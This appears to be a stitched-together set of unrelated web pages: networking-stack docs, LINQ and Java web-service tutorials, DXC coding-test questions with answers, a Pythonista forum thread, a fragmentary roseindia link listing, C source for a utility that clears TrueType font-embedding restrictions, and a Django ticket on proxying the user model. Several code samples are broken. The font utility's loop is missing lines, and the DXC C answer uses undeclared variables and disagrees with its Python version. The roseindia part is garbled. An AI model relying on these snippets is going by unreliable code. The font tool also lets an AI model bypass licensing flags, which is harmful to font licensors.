Timeout for waiting receiver's wake-up phase.
Wake up period timeout for going to sleep.
Timeout for waiting to send the next broadcast packet.
Timeout awaiting the end of the whole broadcast period.
Definition at line 169 of file types.h.
TX states of LWMAC.
Tx schedule stopped, stop sending packet.
Initiate transmission.
directly goes to SUCCESSFUL or FAILED when finished
Send a wakeup request.
Wait until WR sent to set timeout.
Wait for dest node's wakeup ackknowledge.
Send the actual payload data.
Wait if packet was ACKed.
Transmission has finished successfully.
Payload data couldn't be delivered to dest.
Definition at line 119 of file types.h.
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Up till now, we’ve considered only the deferred standard query operators, which are not evaluated until their result is actually enumerated by, for example, running through the result in a foreach loop.
LINQ also has a number of non-deferred operators, which are evaluated at the point where they are called. The first of these we’ll look at is ToDictionary.
C# has a built in Dictionary data type, which is an implementation of a hash table. A hash table is essentially a glorified array, with the main difference being that any data type can be used as the array index or key. For example, if we wanted to store our list of Canadian prime ministers in a dictionary, we could use the integer ID we’ve assigned each prime minister as the key, or we could use the person’s last name, or even define some other data type from the components of a PrimeMinisters object. The one essential property is that each key must be unique, so that only one prime minister is stored for each key.
LINQ allows a dictionary to be constructed from an IEnumerable<T> source, where T is the data type of the objects in the input sequence. The simplest version of ToDictionary allows only the key to be defined for each element in the input sequence. An example is
PrimeMinisters[] primeMinisters = PrimeMinisters.GetPrimeMinistersArray(); var pmDictionary01 = primeMinisters.ToDictionary(k => k.id); Console.WriteLine("----->pmDictionary01"); foreach (int key in pmDictionary01.Keys) { Console.WriteLine("Prime minister with ID {0}: {1} {2}", key, pmDictionary01[key].firstName, pmDictionary01[key].lastName); }
ToDictionary() here takes a single argument, which is a lambda expression defining the key. The variable k is an element from the input sequence, and we’ve selected the ‘id’ field from that element to use as the key.
Once the dictionary is built, we use a foreach loop to run through the list by selecting each key from the Keys property of the dictionary. We use array-like notation (square brackets) to reference an element in the dictionary. Each element in the dictionary is an object of type PrimeMinsters.
The output is:
----->pmDictionary01 Prime minister with ID 1: John Macdonald Prime minister with ID 2: Alexander Mackenzie Prime minister with ID 3: John Abbott Prime minister with ID 4: John Thompson Prime minister with ID 5: Mackenzie Bowell Prime minister with ID 6: Charles Tupper Prime minister with ID 7: Wilfrid Laurier Prime minister with ID 8: Robert Borden Prime minister with ID 9: Arthur Meighen Prime minister with ID 10: William Mackenzie King Prime minister with ID 11: Richard Bennett Prime minister with ID 12: Louis St. Laurent Prime minister with ID 13: John Diefenbaker Prime minister with ID 14: Lester Pearson Prime minister with ID 15: Pierre Trudeau Prime minister with ID 16: Joe Clark Prime minister with ID 17: John Turner Prime minister with ID 18: Brian Mulroney Prime minister with ID 19: Kim Campbell Prime minister with ID 20: Jean Chrétien Prime minister with ID 21: Paul Martin Prime minister with ID 22: Stephen Harper
There are three more variants of ToDictionary, each offering a bit more flexibility than the basic version.
A second type allows the specification of a comparer class which can be used for defining the equality of objects used as keys. In the previous example, the default definition of equality was used; since the keys were ints, two keys were equal if they had the same numerical value.
However, it is possible to define keys to be equal based on any criterion we like. For example, if we stored the ID of each prime minister as a string instead of an int, then we could define two keys to be equal if their strings parsed to the same numerical value. This would allow the strings 12 and 00012 to be equal as keys, since the leading zeroes don’t change the numerical value.
To use this feature, we must first define a comparer class, in much the same way as we did when comparing the terms of office. The comparer class here is
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace LinqObjects01 { class IdKeyEqualityComparer : IEqualityComparer<string> { public bool Equals(string x, string y) { return Int32.Parse(x) == Int32.Parse(y); } public int GetHashCode(string obj) { return (Int32.Parse(obj)).GetHashCode(); } } }
Remember that we need to implement IEqualityComparer<string> and provide an Equals() and GetHashCode() method. In Equals() we parse the two strings and define equality to be true if their numerical values are equal. GetHashCode() must return the same code for two objects that are considered equal, so we call GetHashCode() on the parsed int.
With this class in hand, we can use it in the second form of ToDictionary:
PrimeMinisters[] primeMinisters = PrimeMinisters.GetPrimeMinistersArray(); var pmDictionary02 = primeMinisters.ToDictionary(k => k.id.ToString(), new IdKeyEqualityComparer()); Console.WriteLine("----->pmDictionary02"); foreach (string key in pmDictionary02.Keys) { string zeroKey = "000" + key; Console.WriteLine("Prime minister with ID {0}: {1} {2}", key, pmDictionary02[zeroKey].firstName, pmDictionary02[zeroKey].lastName); }
This time, we store the key as a string and pass an IdKeyEqualityComparer as the second parameter to ToDictionary. When we print out the results, we create a different string by prepending three zeroes onto the key in the dictionary, then use that zeroKey as the key when looking up entries in the dictionary. The dictionary uses its comparer object to compare zeroKey to the valid keys in the dictionary, and if a match is found, the corresponding object is returned. The output from this code is the same as that above.
If no match is found an exception is thrown, as you might expect, so be careful to ensure that all keys used to access the dictionary are valid.
The third variant of ToDictionary allows us to create our own data type from the sequence element being processed and store that new data type in the dictionary. For example, suppose we wanted to store the string representation of each prime minister in the dictionary instead of the original PrimeMinisters object. We can do that using the following code.
PrimeMinisters[] primeMinisters = PrimeMinisters.GetPrimeMinistersArray(); var pmDictionary03 = primeMinisters.ToDictionary(k => k.id, k => k.ToString()); Console.WriteLine("----->pmDictionary03"); foreach (int key in pmDictionary03.Keys) { Console.WriteLine(pmDictionary03[key]); }
The first argument to ToDictionary specifies the key as usual (we’ve gone back to using the int version of the key). The second parameter calls the ToString() method to produce a string which is stored in the dictionary. When we list the elements in the dictionary, we print out the entry directly, since it’s a string and not a compound object.
This time the output is:
----->pmDictionary03 1. John Macdonald (Conservative) 2. Alexander Mackenzie (Liberal) 3. John Abbott (Conservative) 4. John Thompson (Conservative) 5. Mackenzie Bowell (Conservative) 6. Charles Tupper (Conservative) 7. Wilfrid Laurier (Liberal) 8. Robert Borden (Conservative) 9. Arthur Meighen (Conservative) 10. William Mackenzie King (Liberal) 11. Richard Bennett (Conservative) 12. Louis St. Laurent (Liberal) 13. John Diefenbaker (Conservative) 14. Lester Pearson (Liberal) 15. Pierre Trudeau (Liberal) 16. Joe Clark (Conservative) 17. John Turner (Liberal) 18. Brian Mulroney (Conservative) 19. Kim Campbell (Conservative) 20. Jean Chrétien (Liberal) 21. Paul Martin (Liberal) 22. Stephen Harper (Conservative)
A final version of ToDictionary combines the last two versions, so we can provide both a key comparer and a custom data type. For example, if we wanted to store keys as strings and store the string version of each PrimeMinisters object, we could write:
PrimeMinisters[] primeMinisters = PrimeMinisters.GetPrimeMinistersArray(); var pmDictionary04 = primeMinisters.ToDictionary(k => k.id.ToString(), k => k.ToString(), new IdKeyEqualityComparer()); Console.WriteLine("----->pmDictionary04"); foreach (string key in pmDictionary04.Keys) { string zeroKey = "000" + key; Console.WriteLine(pmDictionary04[zeroKey]); }
The output from this is the same as from pmDictionary03.
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'll.
About this tutorial
This tutorial, Part 1 of the series, introduces you to publishing a web service application using the Eclipse IDE, Java SE 6, and Ant. It lays the groundwork for Part 2, which describes the creation of the web services client application.
Objectives..
Set up your development environment
Install Java SE 6
- Download and install the latest Java SE 6 JDK. Java SE 6 has many new features, including web services APIs.
- Double-click the executable file and follow the installation instructions. We recommend you perform the typical installation and maintain all default settings, such as location.
- When asked, select whether you want to install the Java runtime environment as the system JVM and whether you want any browsers to be associated with the Java plug-in.
- Click Finish to install.
- Close any browser windows that are open.
- When complete, you should be presented with a thank-you message confirming successful installation. Click OK to close.
Note: Installing the Java Runtime Environment (JRE) as the system Java Virtual Machine (JVM) means that it replaces any JVM found in the Microsoft® Windows® directory or places a new copy in there if one is not found. Associating any browsers with the Java plug-in means that this new version of Java will be used for applets.
Install Eclipse
Eclipse is an open source, extensible development platform, which can be installed on almost all operating systems. (Learn more about Eclipse.)
Installing Eclipse is fairly straightforward because there's no installation process:
- Download the Eclipse IDE for Java EE Developers.
- Extract the file to the desired location on your computer. You should then see a folder named eclipse. It's a good idea to create a shortcut to the eclipse.exe file on your desktop for convenience.
Configure Eclipse
When you first run Eclipse, the Welcome page is displayed, as shown in Figure 1. If you don't want to read the Overview and other offerings, simply close that page and come back to it later by selecting Help > Welcome.
Figure 1. Welcome screen
Configure Eclipse to use the Java SE 6 JDK you installed earlier; you want to associate your project with this version of Java:
- Select Window > Preferences > Java > Installed JREs, and click the Add button.
- Enter a name, such as
Java SE 6, to easily identify what version it is.
- Click the Browse button and locate the directory where JRE 60 was installed.
- Click OK (see Figure 2).
Figure 2. Adding a new JRE
The new JRE should now appear in the list of installed JREs, as shown in Figure 3.
- Select the Java SE 6 check box, then click OK.
Figure 3. Selecting the new JRE
- To set compliance to the installed version of Java, select Window > Preferences > Java > Compiler.
- Select 1.6 from the Compiler compliance level drop-down list, as shown in Figure 4.
Figure 4. Setting compliance
Create a project
Next you create a project to construct your web services server. A project contains the source code and other related files, and it lets you use the project as the source container or to set up folders inside the project to organize files.
- Select File > New > Project.
- Expand the Java folder and click Java Project (see Figure 5).
Figure 5. Creating a project in Eclipse
- Click Next.
- Enter a project name, such as
wsServerExample, when prompted, as shown in Figure 6.
Figure 6. Entering project details in Eclipse
- Select the Use default JRE radio button if it was previously selected by default; otherwise select the Use a project specific JRE radio button, ensuring that it's Java SE 6.
- Click Finish to associate your project with the Java JDK you installed earlier.
- If you're prompted to switch Java perspective, click Yes.
Create the server
First you need to create a Java package to house your Java classes:
- Select File > New > Package.
- When the New Java Package window opens, enter a name for the package, such as
com.myfirst.wsServer, as shown in Figure 7.
Figure 7. Creating a package
Next you need to create a class for the server code:
- Right-click the package name you just created, then select New > Class. Configure it as shown in Figure 8.
Figure 8. Creating a class
- Create your class as public with no main method stub.
Now that you've provided your package with a class, you can write the code for the server, as shown in Listing 1.
Listing 1. Server code
package com.myfirst.wsServer; import javax.jws.WebService; @WebService public class SayHello { private static final String SALUTATION = "Hello"; public String getGreeting( String name ) { return SALUTATION + " " + name; } }
Note the text in bold in Listing 1. This is called an annotation, or metadata, which is used by the Web Services Metadata Specification introduced in Java SE 5. Developers define their classes and methods before applying annotations to them to indicate to the runtime engine how to enable the class and its methods as a web service and web service operations. Java SE 6 comes bundled with such an engine.
The
@WebService annotation marks the
SayHello class as implementing a web
service, which results in a deployable web service being produced.
This particular annotation is a WSDL mapping annotation and associates
the Java source code to the WSDL elements that represent the web
service. (See Resources for more
information about other annotations in Java SE 6.)
Generate the server code with Ant
After you've written the server application, you need to generate the web service-supporting code. First, create a new Ant file called build.xml:
- Right-click the project and select New > File.
- Enter the name
build.xmlwhen prompted, then click Finish (see Figure 9).
- Make sure this file opens with the Ant Editor by right-clicking it and selecting Open With > Ant Editor. From now on, whenever you double-click this file, it opens with the Ant Editor.
Figure 9. Creating an Ant file
- Enter the Ant project shown in Listing 2.
Listing 2. Ant script
<project default="wsgen"> <target name="wsgen" > <exec executable="wsgen"> <arg line="-cp ./bin -keep -s ./src -d ./bin com.myfirst.wsServer.SayHello"/> </exec> </target> </project>
- To run the Ant build.xml file, right-click Run As and select Ant Build, which executes the Ant file.
- Make sure that this results in a
BUILD SUCCESSFULmessage in the Eclipse Console window, as shown in Figure 10.
Figure 10. Ant build success
- Return to the Eclipse project and refresh the project by right-clicking wsServerExample and selecting Refresh. You should now see the generated code to run the web service created under the new package called com.myfirst.wsServer.jaxws (see Figure 11).
Figure 11. Generated code
Publish the web service
After you've generated the code for the web service's server, you need to publish it so you can start using it:
- Create a new class under the com.myfirst.wsServer package you created, and call it something like
RunService.
- Right-click the package and select New > Class, but this time select the option to create the main method stub.
- Write the code to publish your web service, as shown in Listing 3.
Listing 3. Publishing code
package com.myfirst.wsServer; import Javax.xml.ws.Endpoint; public class RunService { /** * @param args */ public static void main(String[] args) { System.out.println("SayHello Web Service started."); Endpoint.publish("", new SayHello()); } }
Java SE 6 provides new support for publishing web services. The
EndpointAPI simply publishes the web service endpoint, which generates the WSDL at run time at a URL.
- Run this class by right-clicking it and selecting Run As > Java Application. The Eclipse IDE Console window should display. If it doesn't, select Window > Show View > Console. You should see an indication that the web server has started, as shown in Figure 12.
Figure 12. Console with the service running
View the WSDL
Now that the server is up and running, you should test it to make sure it's working as expected:
- Open the internal Web browser in Eclipse by selecting Window > Show View > Other > General > Internal Web Browser.
- type the URL, such as, which should display the web service's WSDL text, as shown in Figure 13.
Figure 13. Console with the internal Web browser
- When you're finished, you can stop the web service by clicking the red square in the Eclipse Console view. However, to continue the tutorial the web service needs to remain running.
Test the server
Next you use the Eclipse Web Services Explorer tool to invoke the
operations of a web service via native WSDL and SOAP to test the
getGreeting method of the web service you
just created.
- You may need to change to the Java EE perspective. Click Window > Open Perspective > Other.
- When the window appears, select Java EE.
- Select Run > Launch the Web Services Explorer. Maximize the view by double-clicking its tab. You should see the screen shown in Figure 14.
Figure 14. The Web Services Explorer
- Click the icon indicated by the red circle. This displays the WSDL page, as shown in Figure 15.
Figure 15. WSDL page
- In the Navigator pane, click WSDL Main. The Actions pane is updated, as shown in Figure 16.
- Enter the WSDL URL, in this case, then click the Go button.
Figure 16. Entering WSDL URL
- The WSDL should successfully open, and you should see a screen similar to Figure 17.
Figure 17. Successfully opened WSDL
- Next you invoke an operation by clicking getGreeting under Operations (shown in Figure 17). This results in a screen similar to Figure 18.
Figure 18. Invoking an operation
- Under
getGreetingin the Body section, click the Add link (as shown in Figure 18) to add a new row to the values table.
- Enter a name (here,
Fiona), and click the Go button.
- In the Status section,
getGreetingResponsedisplays the result. You should see a You should see a result like
return (string): Hello Fiona(see Figure 19) in the Status section. You might need to scroll or drag the views to see the result.
Figure 19. Result of the operation
Summary
Creating, generating, and publishing a web service server is as simple as using Eclipse and, of course, Java SE 6. Stay tuned for Part 2 of this tutorial series where you'll build the stand-alone client to use with this stand-alone web service server.
Appendix: A brief overview of web services terms and acronyms
Web service
According to W3C, a web service is the "software system designed to support interoperable Machine to Machine interaction over a network." In other words, web services are programmatic interfaces used for application-to-application communication. Typically, they are used as Web applications that enable the communication between computers over a network, such as the Internet.
Clients and servers communicate using XML messages that follow the SOAP standard. That is, web services use XML to code and decode data and SOAP to transport it using open protocols. Two of the basic elements of web services platforms are SOAP and WSDL.
XML
Extensible Markup Language (XML) lets users define their own elements. It's a general purpose specification facilitating the sharing of structured data across different information systems, typically across a network. XML is designed to carry information and not to display it. In other words, XML does not actually do anything other than to structure, store, and transport information; it's just plain text.
SOAP
SOAP used to stand for Simple Object Access Protocol, but this was dropped in version 1.2 because it was believed to be too misleading. It's a lightweight communication protocol that lets applications exchange information over networks using XML, or more simply, for accessing a web service. SOAP allows applications to communicate with each other regardless of which operating system they're running on and what programming language they were written in.
WSDL
A WSDL is an application-readable Web Services Description Language. It's used to describe the web service's features and how it should be called by the client application. That is, it describes all the methods and its signatures, the namespaces, plus the handling Uniform Resource Identifier (URI) for the web service in an XML document. The URI names a resource on a network.
Resources
Learn
- Start here for more Eclipse IDE project resources.
- Visit the W3C site.
- In the Architecture area on developerWorks, get the resources you need to advance your skills in the architecture arena.
- Discover the new Java SE 6 features.
-.
Get products and technologies
- Download the Eclipse IDE for Java EE developers.
- Download Java SE 6.
-.
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http://www.ibm.com/developerworks/webservices/tutorials/ws-eclipse-javase1/ws-eclipse-javase1.html
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CC-MAIN-2016-22
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refinedweb
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DXC has updated its pattern for its 2020 drive. There are some new sections added in their recruitment drive, which will be testing students on their problem solving and coding capabilities. DXC has added a coding round in which there will be 2 problem statements, which you have to code in your desired coding languages
DXC has introduced this new section where they will be testing the students upon their logical thinking and problem solving techniques, there will be two problem statements, which may represent some day to day problem or some specific issue, for which you have to write a complete code in any of your preferred coding languages. Some of the languages that you can use to code are-:
Rules for DXC Coding Round Questions Section:
Below are some coding questions which will help you in preparing for DXC Coding Round.
Question 1
Problem statement
In an auditorium, the lighting system of N bulbs is placed in a row. Due to some technical fault in the power supply, only some of the bulbs remain ON and the rest of them go OFF. Due to this flaw in the network, the bulbs which are OFF are unable to work. So till the technical team finds the actual cause of the fault, the technical head Akshay makes some temporary arrangements for the OFF bulbs at a minimum cost. Akshay decides to connect all the OFF bulbs to the nearby ON bulbs so that the length of the cable used to connect them is minimum. He calculates the distance of the systems from the first system.
Write an algorithm to help Akshay find the minimum length of the cable used to turn all the bulbs ON.
Input
Output
Example
Explanation:
So, the output is 5.
Question 2
Mayur is developing a game that has three levels in it. He wants to display the results after the successful completion of all the levels for this purpose he is using a function int giveResult(int s1, s2, s3), where s1, s2, and s3 are the score of every level. This function will return “Good” if the s1<s2, “Best” if s1>= s2 and s1<=s3 and “Can do better” if s1>s3. Can you help Mayur in developing that function
Question 3
Problem Statement:
There are 3 Horses with different speeds(in m/s) in a horse race. The length of the Racing track is given by m meters. You have to calculate the minimum time (in secs.) the fastest horse will win the race.
Input
Output
Note:
Example
Explanation :
Time is taken by three horses to finish the race are :
The minimum time is 9 secs. Thus, the output is 9
Sample Input
Question 4
Problem Statement
Chinese Government wants to build a secret message encryption algorithm to encrypt important messages before transmission. The algorithm will have a message along with two keys which will be required necessarily for encryption as well as decryption of the secret message. The formula to encrypt the code is given below:
Write an algorithm to Encrypt the Code.
Input
Output
Constraints
Example
message = int(input()) key1 = int(input()) key2 = int(input()) print(pow((pow(message, key2)%5),key1)%7000000001)
#include <stdio.h> #include <math.h> int main() { long long int mes, k1, k2, result1, result2, temp; scanf("%lld %lld %lld",&s,&n,&m); result1 = (pow(mes,k1)); result1 = result1 % 10; result2 = pow(result1,k2); result2 = result2 % 1000000007; printf("%lld",result2); return 0; }
Question 5
Problem Statement
A Monitor of the class wanted to take the attendance, so he circulated a blank page in the classroom asking students to write there student_Id. But some naughty students wrote their id multiple times to trouble the monitor. Monitor went to the teacher and reported the incident, the Teacher asked him to mark the absence of students whose id is repeated in the attendance sheet and give him the number of students with repeated id in the attendance sheet.
Input
Output
Note: Student id is nothing but an alphabet from a-z.
Example:
ghygbvghyghnhjuhjumnj
Question 6
Problem Statement
You have to select an integer number “check” from the range 1 to max and then you have to print the following output after checking that number.
#include <stdio.h> int main() { int max, check; scanf(" %d",&max); for(check=1; check<=max; check++) { if((check%2==0)&&(check%7==0)) { printf("PrepInsta\n"); } else if(check%2==0) { printf("Prep\n"); } else if(check%7==0) { printf("Insta\n"); } else { printf("Prepster\n"); } } return 0; }
check = int(input()) if check % 2 == 0: print("Prep",end="") if check % 7 == 0 : print("Insta") elif check % 7 == 0 : print("Insta") else: print("Prepster")
Login/Signup to comment
|
https://prepinsta.com/dxc/coding-questions-and-answers/
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CC-MAIN-2020-40
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refinedweb
| 783
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ui.View.present('sheet') will probably be too small in Pythonista v2
If your script does
view.present('sheet')you might find that your view is too small in Pythonista v2.
One possible fix would be to size your view prior to presenting it.
view.width = view.height = min(ui.get_screen_size()) view.present('sheet')
This happened to me when I used ui .View.present(self, sheet') in ui.View._init_().
def __init__(self): # ... self.present('sheet')
At this time the UI elements are not initialized and the size is 100 x 100. I moved it to ui.View.did_load(self) and it worked out alright.
def did_load(self): # ... self.present('sheet')
Thanks to the wonderful debugger in pythonista 3!
This be the answer. Thank you guys very much for questioning, and answering.
|
https://forum.omz-software.com/topic/2546/ui-view-present-sheet-will-probably-be-too-small-in-pythonista-v2
|
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... to the important technologies on which JSP depends. The book then launches into its
Free Java Books
Free Java Books
Sams Teach Yourself Java 2 in 24 Hours
As the author of computer books, I spend a lot...; Noble and Borders, observing the behavior of shoppers browsing through the books
Struts Books
;
Free
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The Apache... to use it to its fullest potential. He calls the books, "the culmination...
Struts Books
JSF Books
JSF Books
Introduction
of JSF Books
When we... Books
Judging from the job advertisements in employment web sites
download - JSP-Servlet
download here is the code in servlet for download a file.
while... help me out its urgent!!
code servlet:
/*
* To change this template...;
/**
*
* @author saravana
*/
public class download extends HttpServlet
Tomcat Books
This is one of the first set of books from Wrox Press after its acquisition..., there are currently few books and limited online resources to explain the nuances of JSP...
Tomcat Books
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... content authored by the JSP Insiders, all free, no registration required. If you...
EJB Books
EJB Books
Professional
EJB Books
Written... relate to EJB: a complex technology that has not lived up to its hype. In this hands
FileUpload and Download
for File upload and Download in jsp using sql server,that uploaded file should be store in database with its content and also while downloading it should be download with its full content...can you please help me... im in urgent i have
Download Search Engine Code its free and Search engine is developed in Servlets
Installation Instruction
Download and
unzip the file into your favorite directory. ... engine should work.
Download Search
Accessing database from JSP
... take a example of Books database. This database
contains a table named books... that we write a html page for
inserting the values in 'books_details' table
CORBA and RMI Books
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Books
... and CORBA
The standard by which all other CORBA books are judged, Client..., JSP, and Servlets
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.... As its popularity has grown, PHP's basic feature set has become increasingly... content. The millions of web sites powered by PHP are testament to its popularity
Download Search Engine Code its free and Search engine is developed in Servlets
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Misc.Online Books
License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License...
Misc.Online Books
JSP
JSP FILE UPLOAD-DOWNLOAD code USING JSP
Logout if its not active for longer period in jsp
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hi its amrin but i want...Logout if its not active for longer period in jsp hi all,
Please tell me how to log out the application if its not performing any activity
Introduction to the JSP Java Server Pages
Collection is jsp books in the pdf format. You can download these books and
study it offline.
Free JSP Books
Download the following JSP books.
Free
JSP Download
BooksFree
VoIP Books
VoIP Books
VoIP Books Voice over IP
With a potential 90 percent....
Practical VoIP Using VOCAL
While many books describe the theory... books writers review the best VoIP books available on the
market. Browse our Resource - Useful Jsp Tutorials Links and Resources
JSP Tutorials
JSP
Tutorial
The prerequisites for the tutorial.... You should be able to program in Java.
This tutorial teaches
Introduction to JSP
is known for its characteristic of "write once, run anywhere." JSP...?"
Installing JSP
First of all download JavaServer Web... can download and use it for free, but many of the advanced features2me ebook download for free - Java Beginners
j2me ebook download for free could you please send me a link get the j2me ebook for free of cost Hi Friend,
Please visit the following link:
Thanks
JSP
JSP How to retrieve the dynamic html table content based on id and store it into mysql database?
How to export the data from dynamic html table content to excel?Thanks in Advance.. Plz help me its urgent
VoIP Free Software
PC
Talking Technologies is shipping a free beta of its software VoIP (voice... into a Phone with our Best2 Call VoIP Software. Free to download, easy to use.
*Allows... X version of its free voice-over-internet software, making it available in
jsp
;" import = "java.io.*" errorPage = "" %>
<jsp:useBean id = "formHandler... = "java.io.*" errorPage = "" %>
<jsp:useBean id = "formHandler" class...;
<td align="left" valign="middle"><jsp:getProperty
Web Sphere Books
Web Sphere Books
... books and manuals page".
Most libraries and system requirements...;
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Books
A step-by-step, hands
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as for usercategory......how can i do it...plz hwlp me...its very urgent
jsp
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Apache Tomcat/5.0.28
please help me.
its urgent
Python Programming Books
by the Internet and the free software movement. Its three authors a college...
Python Programming
Books
... not yet). Feel free to email me also.
In a community spirit
JSP code - JSP-Servlet
JSP code Hi!
Can somebody provide a line by line explanation of the following code. The code is used to upload and download an image.
<... have successfully upload the file by the name of:
Download
/*Code
XSL Result and its example
XSL Result and its example
XSLT stands for XSL Transformations. It is the most...;stylesheetLocation">/jsp/result.xslt</param>
<param name="matchingPattern"...;input">/jsp/index.jsp</result>
</action>
</package>
csv file download
csv file download Hello Every one,
when user clicks download button I want to retrieve data from mysql database table in csv format using java.if... the following link:
JSP Retrieve data from MySQL Database
C/C++ Programming Books
, with details of how to download up-to-date compressed versions of the text and its...
C/C++ Programming
Books
... its predecessor, Visual C++ 5.0. The new features covered in this book follow
JSP Include jsp
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static or dynamic file in a JSP file. If the file is static, its...
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This section illustrates you about the <jsp of the following recommended XML books to further your XML education and training...
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|
http://roseindia.net/tutorialhelp/comment/73256
|
CC-MAIN-2016-07
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refinedweb
| 1,055
| 66.64
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By default many of the programs used for authoring TrueType fonts set the "allow embedding" bits to false. Because this is an obscure setting it is often overlooked and thus many fonts that were not intended to be restricted have been released with it set. Embed flips these bits so that software which actually pays attention to them (such as Adobe Distiller) will play nice.
See Cracking TrueType Fonts or the official embed site () for more information.
This is the source code for the embed utility. The author claims that this requires a 32 bit Windows or a DOS extender (cwsdpmi.exe) to run, but my theory is that it will work flawlessly under WINE or any DOS emulator that supports extenders.
/*
* This program is for setting TTF files to Installable Embedding mode.
*
* Note that using this to embed fonts which you are not licensed to embed
* does not make it legal.
*
* This code was written by Tom Murphy 7, and is public domain. Use at your
* own risk...
*/
#include <stdio.h>
#include <stdlib.h>
void fatal();
int main (int argc, char**argv) {
FILE * inways;
if (argc != 2)
printf("Usage: %s font.ttf\n\nPublic Domain software by Tom 7.
Use at your own risk.\n",argv[0]);
else if (inways = fopen(argv[1],"rb+")) {
int a,x;
char type[5];
type[4]=0;
fseek(inways,12,0);
for (;;) {
for (x=0;x<4;x++) if (EOF == (type[x] = getc(inways))) fatal();
if (!strcmp(type,"OS/2")) {
int length;
unsigned long loc, fstype, sum=0;
loc=ftell(inways); /* location for checksum */);
fseek(inways,loc,0); /* write checksum */
fputc(sum>>24,inways);
fputc(255&(sum>>16),inways);
fputc(255&(sum>>8), inways);
fputc(255&sum , inways);
fclose(inways);
exit(0);
}
for (x=12;x--;) if (EOF == getc(inways)) fatal();
}
} else
printf("I wasn't able to open the file %s.\n", argv[1]);
}
void fatal() { fprintf(stderr,"Malformed TTF file.\n");
exit(-1); }
Em*bed" (?), v. t. [imp. & p. p. Embedded; p. pr. & vb. n. Embedding.] [Pref. em- + bed. Cf. Imbed.]
To lay as in a bed; to lay in surrounding matter; to bed; as, to embed a thing in clay, mortar, or sand.
© Webster 1913.
Log in or registerto write something here or to contact authors.
Need help? accounthelp@everything2.com
|
http://everything2.com/title/Embed
|
CC-MAIN-2017-13
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refinedweb
| 381
| 73.78
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Opened 10 months ago
Last modified 2 months ago
#22872 new Cleanup/optimization
Backwards incompatible change: Can't proxy User model: RuntimeError: App registry isn't ready yet.
Description
My application creates proxies of the user model to add custom methods that are useful in certain contexts. There is an attempt to do this in a AUTH_USER_MODEL agnostic way. This fails with the latest beta version of 1.7.
Starting from a fresh install and project I created the following files in directory myapp.
myapp/models.py
from django.contrib.auth import get_user_model class MyUser(get_user_model()): def my_method(self): return 'foo' class Meta: proxy = True
myapp/tests.py
from django.test import TestCase from myapp.models import MyUser class MyTestCase(TestCase): def test_my_user(self): user = MyUser() self.assertTrue(user)
Django 1.7 beta 2
$ python manage.py test Traceback (most recent call last): File "manage.py", line 10, in <module> execute_from_command_line(sys.argv) File "/home/jon/djtest/venv/lib/python2.7/site-packages/django/core/management/__init__.py", line 427, in execute_from_command_line utility.execute() File "/home/jon/djtest/venv/lib/python2.7/site-packages/django/core/management/__init__.py", line 391, in execute django.setup() File "/home/jon/djtest/venv/lib/python2.7/site-packages/django/__init__.py", line 21, in setup apps.populate(settings.INSTALLED_APPS) File "/home/jon/djtest/venv/lib/python2.7/site-packages/django/apps/registry.py", line 106, in populate app_config.import_models(all_models) File "/home/jon/djtest/venv/lib/python2.7/site-packages/django/apps/config.py", line 190, in import_models self.models_module = import_module(models_module_name) File "/usr/lib64/python2.7/importlib/__init__.py", line 37, in import_module __import__(name) File "/home/jon/djtest/djtest/myapp/models.py", line 4, in <module> class MyUser(get_user_model()): File "/home/jon/djtest/venv/lib/python2.7/site-packages/django/contrib/auth/__init__.py", line 136, in get_user_model return django_apps.get_model(settings.AUTH_USER_MODEL) File "/home/jon/djtest/venv/lib/python2.7/site-packages/django/apps/registry.py", line 187, in get_model self.check_ready() File "/home/jon/djtest/venv/lib/python2.7/site-packages/django/apps/registry.py", line 119, in check_ready raise RuntimeError("App registry isn't ready yet.") RuntimeError: App registry isn't ready yet.
Django 1.6.5
$ python manage.py test Creating test database for alias 'default'... . ---------------------------------------------------------------------- Ran 1 test in 0.001s OK Destroying test database for alias 'default'...
If there is a better (or forward compatible) way proxy an unknown User model, I'd be happy to hear about it.
Change History (9)
comment:1 follow-up: ↓ 2 Changed 10 months ago by aaugustin
- Needs documentation unset
- Needs tests unset
- Patch needs improvement unset
comment:2 in reply to: ↑ 1 ; follow-up: ↓ 3 Changed 10 months ago by jdufresne
The best idea I have is to create an AppConfig for your app and create the model in its ready() method, then add it to the module.
How would one go about importing this model for use elsewhere (other models, forms, views, etc.)? These references are often used at compile time such as model forms and generic views. It seems, importing the proxy model would never work at compile time. Every function that referenced the proxy model directly would need to import it at the top of the function so as to delay the import. Or, I guess, implement another get_user_model() style function and sprinkle it all over.
comment:3 in reply to: ↑ 2 Changed 10 months ago by aaugustin
Indeed, my suggestion doesn't work.
Or, I guess, implement another get_user_model() style function and sprinkle it all over.
I'm not sure that helps, because you still need to resolve the model at compile time.
The only thing that works at compile time currently is settings.AUTH_USER_MODEL. It can be used a an FK target because Django specifically delays resolution of FKs until the target model is imported (search for class_prepared in the code).
comment:4 Changed 9 months ago by timo
- Cc app-loading added
- Component changed from Uncategorized to Documentation
- Triage Stage changed from Unreviewed to Accepted
- Type changed from Bug to Cleanup/optimization
I guess we can accept this as a documentation improvement?
comment:5 Changed 8 months ago by wizpig64
I also have an app that uses a user proxy (also with class MyUser(get_user_model()):), which i'm porting up to 1.7. Looking through the docs it seemed like using apps.get_model('app.model') (equivalent to apps.get_model('app', 'model')) was they way to go about proxying to the user model:
from django.apps import apps from django.conf import settings class MyUser(apps.get_model(settings.AUTH_USER_MODEL)): class Meta: proxy = True
but this raises "django.core.exceptions.AppRegistryNotReady: Models aren't loaded yet."
It looks like this can be worked around by using the longer apps.get_app_config('app').get_model('model'). I'm not sure if this is intended behavior or a bug:
user_app, user_model = settings.AUTH_USER_MODEL.split('.') class MyUser(apps.get_app_config(user_app).get_model(user_model)): ...
Some caveats: this only works if your model is after the base user model in INSTALLED_APPS, and as long as AUTH_USER_MODEL only has one dot.
I suppose circumvents the whole point of the new app system, so that plus the caveats probably makes it a bad idea to use. Rather than the above, I think a new get_user_model() should be made, or a more clear way of doing this should be documented.
The above stuff was tested on 1.7c2 and the latest stable/1.7.x as of writing,. - I also haven't checked any of the implications of this with migrations.
Thanks
comment:6 Changed 4 months ago by timgraham
- Version changed from 1.7-beta-2 to 1.7
comment:7 Changed 2 months ago by timgraham
I noticed some ugly code in django-cms to work around this issue. That code is currently inspecting apps.all_models to get the user model before the apps registry is ready.
It seems to me as long as the application declaring the custom user model appears in INSTALLED_APPS before the application that calls get_user_model() there shouldn't be a problem with this technique. Am I wrong?
